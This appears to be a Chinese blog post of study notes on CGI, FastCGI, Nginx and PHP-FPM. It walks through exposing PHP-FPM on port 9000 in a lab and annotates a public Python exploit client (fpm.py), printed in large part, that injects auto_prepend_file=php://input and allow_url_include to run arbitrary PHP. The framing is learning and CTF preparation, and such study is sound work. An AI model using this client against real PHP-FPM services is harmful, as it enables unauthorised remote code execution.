FastCGI与Web中间件

参考资料

https://xz.aliyun.com/t/9544

https://blog.csdn.net/qq_39976464/article/details/119105045

CGI通用网关接口

CGI简介

单纯的Web服务器只能相应浏览器发来的HTTP静态资源(html、css、图片等),并不能直接运行动态脚本。

以PHP脚本为例,Web服务器不能直接处理它,需要交给php解释器处理。这里就涉及到Webserver和php解释器的通信问题。为了解决不同语言的解释器(php、python等)与Webserver的通信,出现了CGI(Common Gateway Interface)公共网关接口,即Web服务器运行外部程序的规范

FastCGI简介

有了CGI,自然就解决了Web服务器与PHP解释器的通信问题,但是Web服务器有一个问题,就是它每收到一个请求,都会去Fork一个CGI进程,请求结束再kill掉这个进程,这样会很浪费资源。于是,便出现了CGI的改良版本——Fast-CGI。

维基百科对 FastCGI 的解释是:快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,Fast-CGI每次处理完请求后,不会kill掉这个进程,而是保留这个进程,从而使服务器可以同时处理更多的网页请求。这样就会大大的提高效率。

Web中间件(Web容器)

简介

Web相关的东西其实是很复杂的,但我们部署环境的操作往往不那么复杂,部署好环境之后进行开发也不需要考虑特别多的东西。这是因为我们有Web容器(中间件)。

Web中间件充当着沟通的桥梁。当网页只有静态内容时,Web中间件与(且只与)浏览器交互(查找静态文件这种东西就不算交互了)。当网站有动态内容时,除了与浏览器交互外,Web中间件还需要与我们的脚本解释器(eg:PHP解释器)交互,这个交互过程就需要用到FastCGI接口(协议)

Nginx

碎碎念

在写这篇笔记之前,我其实对Apache、Nginx之类的几乎一窍不通。之前对PHP的学习基本基于语言本身(最多加点环境变量、配置文件之类的),PHP环境也是基于

https://blog.csdn.net/qq_40147863/article/details/83187917

傻瓜式搭建的,连Nginx都没有用到。

“我是谁?我在哪?我学过什么?”懵逼感直接拉满。

反向代理

提到Nginx,跟随出现的最高频词汇大概就是反向代理了,这个很有必要搞清楚。

“代理”都是指服务器("代理服务器proxy")。我们日常生活中接触的代理都是”正向代理“:客户端(访问网站资源的我们)知道代理服务器的存在,但服务端(网站的运行端)不知道代理服务器的存在。

正向代理隐藏真实的客户端。

与之类比,就不难理解”反向代理“的特点:客户端不知道代理服务器的存在,而服务端知道。

反向代理”隐藏“真实的服务器。

反向代理在服务端中常用于负载均衡的实现。

具体的,tmd太复杂了,先挖个坑放个百度百科链接https://baike.baidu.com/item/%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1/8852153?fr=aladdin

在学Nginx配置时随便讲点得了。

安装

听说Nginx安装比Apache2复杂?

apt-get也能下载Nginx了啊,那没事了。

//彻底卸载之前的Nginx
apt-get --purge autoremove nginx

apt-get install nginx
nginx -v
nginx

配置

先看/etc/nginx/nginx.confVirtual Host Configs部分,发现它include了两个文件夹。其中一个没有东西,另一个是个到/etc/nginx/sites-available/default的软链接。去那个default里看一下:

##
# You should look at the following URL's in order to grasp a solid understanding
# of Nginx configuration files in order to fully unleash the power of Nginx.
# https://www.nginx.com/resources/wiki/start/
# https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/
# https://wiki.debian.org/Nginx/DirectoryStructure
#
# In most cases, administrators will remove this file from sites-enabled/ and
# leave it as reference inside of sites-available where it will continue to be
# updated by the nginx packaging team.
#
# This file will automatically load configuration files provided by other
# applications, such as Drupal or Wordpress. These applications will be made
# available underneath a path with that package name, such as /drupal8.
#
# Please see /usr/share/doc/nginx-doc/examples/ for more detailed examples.
##

# Default server configuration
#
server {
	listen 80 default_server;
	listen [::]:80 default_server;

	root /var/www/html;

	# Add index.php to the list if you are using PHP
	index index.html index.htm index.nginx-debian.html;

	server_name _;

	location / {
		# First attempt to serve request as file, then
		# as directory, then fall back to displaying a 404.
		try_files $uri $uri/ =404;
	}

	#pass PHP scripts to FastCGI server
	#这一段原本是完全被注释掉的,我们需要做的就是把它们放出来。
	location ~ \.php$ {
		include snippets/fastcgi-php.conf;
	
		# With php-fpm (or other unix sockets):
		fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
		# With php-cgi (or other tcp sockets):
		#fastcgi_pass 127.0.0.1:9000;
	}
}

操作就一个。

它的注释写的真的非常好,按照它的注释基本上就能看懂大体的东西了。

注意

80端口的占用情况:

若Apache2开启,需要/etc/init.d/apache2 stop

若想关闭nginx,需要nginx -s stop

重启:nginx -s reloadsystemctl restart nginx

检查nginx是否正确启动systemctl status nginx

接近正题

碎碎念

这篇东西最初写出来是想作为校赛一道题的复现wp的;

https://mp.weixin.qq.com/s/JoQk8Ogidvoa3dfqvI4bnA(ftp-checker)

后来发现知识点缺的太多,就改成了官方wp提到的另一个题的复现wp;

https://www.anquanke.com/post/id/233454 (hxp-2020 CVE-2021-3129)

后来又发现知识点缺的太多,就改成了对后一个wp里这个问题的解决:

PHP-fpm简介

PHP-FPM是 一个FastCGI 进程管理器,用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。PHP-FPM 默认监听的端口是 9000 端口。

也就是说 PHP-FPM 是 FastCGI 的一个具体实现,并且提供了进程管理的功能,在其中的进程中,包含了 master 和 worker 进程,这个在后面我们进行环境搭建的时候可以通过命令查看。其中master 进程负责与 Web 服务器中间件进行通信,接收服务器中间按照 FastCGI 的规则打包好的用户请求,再将请求转发给 worker 进程进行处理。worker 进程主要负责后端动态执行 PHP 代码,处理完成后,将处理结果返回给 Web 服务器,再由 Web 服务器将结果发送给客户端。

暴露PHP-fpm

打开/etc/php/7.2/fpm/pool.d/www.conf

找到
listen = /run/php/php7.4-fpm.sock ;
将其修改为
listen = 0.0.0.0:9000

linux一切皆文件,/run/php/php7.4-fpm.sock是PHP-fpm进程创建的套接字文件,在这里可以先简单理解为他是一个特定的套接字。

(socket分为Unix Domain SocketTCP Socket;这个之后再专门写个笔记。)

0.0.0.0表示本网任意一个IPv4地址,是很常用的写法。

其他准备操作

按部就班跟着做就行了。

前往之前配置的/etc/nginx/sites-available/default

找到
fastcgi_pass unix:/var/run/php/php7.2-fpm.sock; ;
将其修改为
fastcgi_pass 127.0.0.1:9000;

启动php-fpm,

whereis php-fpm
/usr/sbin/php-fpm7.2

(实际上已经添加过环境变量了)

重启nginx并检查其是否正确启动,

systemctl restart nginx
systemctl status nginx

检查php-fpm是否正确启动

ps -elf | grep php-fpm

检查各项是否正常运行(service API显示FPM/FastCGI)

未授权访问(攻击)操作

利用P牛的fpm.py脚本:

https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

靶机ubuntu:

攻击机kali。

不求甚解的复现 到此即成功。

正题:FastCGI协议

我们已经实现了和PHP-fpm直接通信,接下来的任务是理解它<--理解fpm.py<--了解FastCGI协议

FastCGI协议

FastCGI协议可以类比HTTP协议来进行学习理解。HTTP协议是浏览器和服务器中间件进行数据交换的协议,FastCGI协议则是服务器中间件和某个语言后端进行数据交换的协议。

我们用计网中与IP数据报类似的介绍方式来介绍FastCGI报文。

fpm.py代码审计

__main__部分

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()
//args有host、file、code、port四个属性。命令行执行时,host参数必须在file参数前;可选参数位置任意(因为要加诸如这样的标识符【-c】)

这部分通过argparse模块实现python程序在命令行中的显示效果,并且将我们在命令行中输入的参数进行解析,将它们一个萝卜一个坑的填入args。。

https://blog.csdn.net/qq_42855293/article/details/114683349

https://docs.python.org/3/library/argparse.html

    client = FastCGIClient(args.host, args.port, 3, 0)
    //初始化FastCGIClient对象;没什么内容。参数主要就是套接字,其他两个是超时和持久连接设定,我们不太关心。
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

params是非常重要的东西;这类东西一般是Web服务器中间件将我们的前端请求转化而来的

我们可以看出,params具有很强的规范性和通用性。我们这里是使用PHP作为后端的,而params的必须内容中只有SERVER_SOFTWARE涉及它。如果我们把后端语言换成别的,Web中间件几乎只要改一个SERVER_SOFTWARE就行了,非常方便。

params中的最后两行:

allow_url_include在PHP文件包含那块说过,

PHP_ADMIN_VALUE在.user.ini的利用那里简单说过(不用理解,记得用这个字段就行了),

auto_prepend_file也是以前在.user.ini里输入的内容。它的作用是让PHP在执行任意文件之前先包含其所指定的文件。

php://input和上面那个东西搭配使用,就可以实现在POST请求中发送代码,进行RCE。

接下来,我们需要做的就是模仿nginx,将它使用FastCGI协议的规则传给PHP-FPM,并模仿nginx解析它返回的FastCGI数据报。

参数指定和初始化 部分

//初始化没啥好说的。
//参数指定比较重要;下面的注释会给出。
class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1 //FastCGI协议版本

    /*在FastCGI身份的确定;常用的为1(响应器角色),其他的这里不做讨论。*/
    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    /*FastCGI协议消息类型,对应Header中的type。*/
    __FCGI_TYPE_BEGIN = 1
    	//在与php-fpm建立连接之后发送的第一个消息中的type值就得为1,用来表明此消息为请求开始的第一个消息
    __FCGI_TYPE_ABORT = 2
    	//异常断开与php-fpm的交互
    __FCGI_TYPE_END = 3
    	//在与php-fpm交互中所发的最后一个消息中type值为此,以表明交互的正常结束
    __FCGI_TYPE_PARAMS = 4
    	//在交互过程中给php-fpm传递环境变量时,将type设为此,以表明消息中包含的数据为某个name-value对
    __FCGI_TYPE_STDIN = 5
    	//Web服务器将从浏览器接收到的POST请求数据(表单提交等)以消息的形式发给php-fpm,这种消息的type就得设为5
    __FCGI_TYPE_STDOUT = 6
    	//php-fpm给Web服务器回的正常响应消息的type就设为6
    __FCGI_TYPE_STDERR = 7
    	//php-fpm给Web服务器回的错误响应设为7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8 //FastCGI报头长度(固定)

    //标志连接状态
    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

**执行部分(发送)

https://wenku.baidu.com/view/5dd83de39dc3d5bbfd0a79563c1ec5da51e2d652.html

FastCGIClient只对外提供了这一个方法——request;它在__main__中被调用了。

def request(self, nameValuePairs={}, post=''):
    //__connect使用socket库 创建本地python脚本和套接字的连接,笔记中就不附出了。
    if not self.__connect():
        print('connect failure! please check your fasctcgi-server !!')
        return

    requestId = random.randint(1, (1 << 16) - 1)
    self.requests[requestId] = dict()
    request = b""
    
    //bchr将参数转化为一个字节的固定长度。
    
    //beginFCGIRecordContent生成建立连接(对应type=1)对应的FastCGI数据报报文。
    /*
    struct FCGI_BeginRequestBody{
        unsigned char roleB1;
        unsigned char roleB0;
        unsigned char flags;
        unsigned char reserved[5];
    }
    */
    
    beginFCGIRecordContent = bchr(0) \
                             + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                             + bchr(self.keepalive) \
                             + bchr(0) * 5
    
    //__encodeFastCGIRecord方法使用请求类型、ID、和请求内容生成一个合法的请求字节流。具体的方法是,利用请求类型和ID生成FastCGI报头(只有这两个是变的),并将其直接与之前生成好的合法报文拼接。
    request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                          beginFCGIRecordContent, requestId)
    paramsRecord = b''
    
    //开始解析之前提到的params键值对
    if nameValuePairs:
        for (name, value) in nameValuePairs.items():
            name = force_bytes(name)
            value = force_bytes(value)
            //__encodeNameValueParams生成传送环境变量键值对(对应type=4)对应的FastCGI数据报报文。
            paramsRecord += self.__encodeNameValueParams(name, value)

    //生成FastCGI数据报报文的消息主体(数据和填充部分)
    //不太懂;咋每次生成都要加报头?填充也要加报头?
    if paramsRecord:
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
    request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

    //生成用于提交POST请求数据(对应type=5)的报文
    if post:
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
    request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

    //发送请求
    self.sock.send(request)
    self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
    self.requests[requestId]['response'] = b''
    
    //等待回显、接收、进入解析部分
    return self.__waitForResponse(requestId)
__encodeNameValueParams

生成传送环境变量键值对(对应type=4)对应的FastCGI数据报报文。

最重要,也比较复杂,单独拉出来。

def __encodeNameValueParams(self, name, value):
    nLen = len(name)
    vLen = len(value)
    record = b''
    if nLen < 128:
        record += bchr(nLen)
    else:
        record += bchr((nLen >> 24) | 0x80) \
                  + bchr((nLen >> 16) & 0xFF) \
                  + bchr((nLen >> 8) & 0xFF) \
                  + bchr(nLen & 0xFF)
    if vLen < 128:
        record += bchr(vLen)
    else:
        record += bchr((vLen >> 24) | 0x80) \
                  + bchr((vLen >> 16) & 0xFF) \
                  + bchr((vLen >> 8) & 0xFF) \
                  + bchr(vLen & 0xFF)
    return record + name + value

对着这玩意看着理解吧。

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair11;

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair41;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;

4 个结构,至于用哪个结构,有如下规则:

  1. key、value均小于128字节,用 FCGI_NameValuePair11

  2. key大于128字节,value小于128字节,用 FCGI_NameValuePair41

  3. key小于128字节,value大于128字节,用 FCGI_NameValuePair14

  4. key、value均大于128字节,用 FCGI_NameValuePair44

执行部分(解析接收内容)

def __waitForResponse(self, requestId):
    data = b''
    while True:
        buf = self.sock.recv(512)
        if not len(buf):
            break
        data += buf

    data = BytesIO(data)
    //__decodeFastCGIRecord对响应进行具体的解析;本函数主要用于确定连接状态,就不详细讲了。
    while True:
        response = self.__decodeFastCGIRecord(data)
        if not response:
            break
        if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
            if requestId == int(response['requestId']):
                self.requests[requestId]['response'] += response['content']
        if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
            self.requests[requestId]
    return self.requests[requestId]['response']

def __repr__(self):
    return "fastcgi connect host:{} port:{}".format(self.host, self.port)
def __decodeFastCGIRecord(self, buffer):
    header = buffer.read(int(self.__FCGI_HEADER_SIZE))

    if not header:
        return False
    else:
        //解析FastCGI报头
        record = self.__decodeFastCGIHeader(header)
        record['content'] = b''
        
        //读取FastCGI报文内容;忽略填充。
        if 'contentLength' in record.keys():
            contentLength = int(record['contentLength'])
            record['content'] += buffer.read(contentLength)
        if 'paddingLength' in record.keys():
            skiped = buffer.read(int(record['paddingLength']))
        return record
//对着报头格式一看就懂了,略。
def __decodeFastCGIHeader(self, stream):
    header = dict()
    header['version'] = bord(stream[0])
    header['type'] = bord(stream[1])
    header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
    header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
    header['paddingLength'] = bord(stream[6])
    header['reserved'] = bord(stream[7])
    return header

__FCGI_TYPE_END压根没用到。

完结撒花!

posted @ 2022-08-28 23:07  hiddener  阅读(170)  评论(0编辑  收藏  举报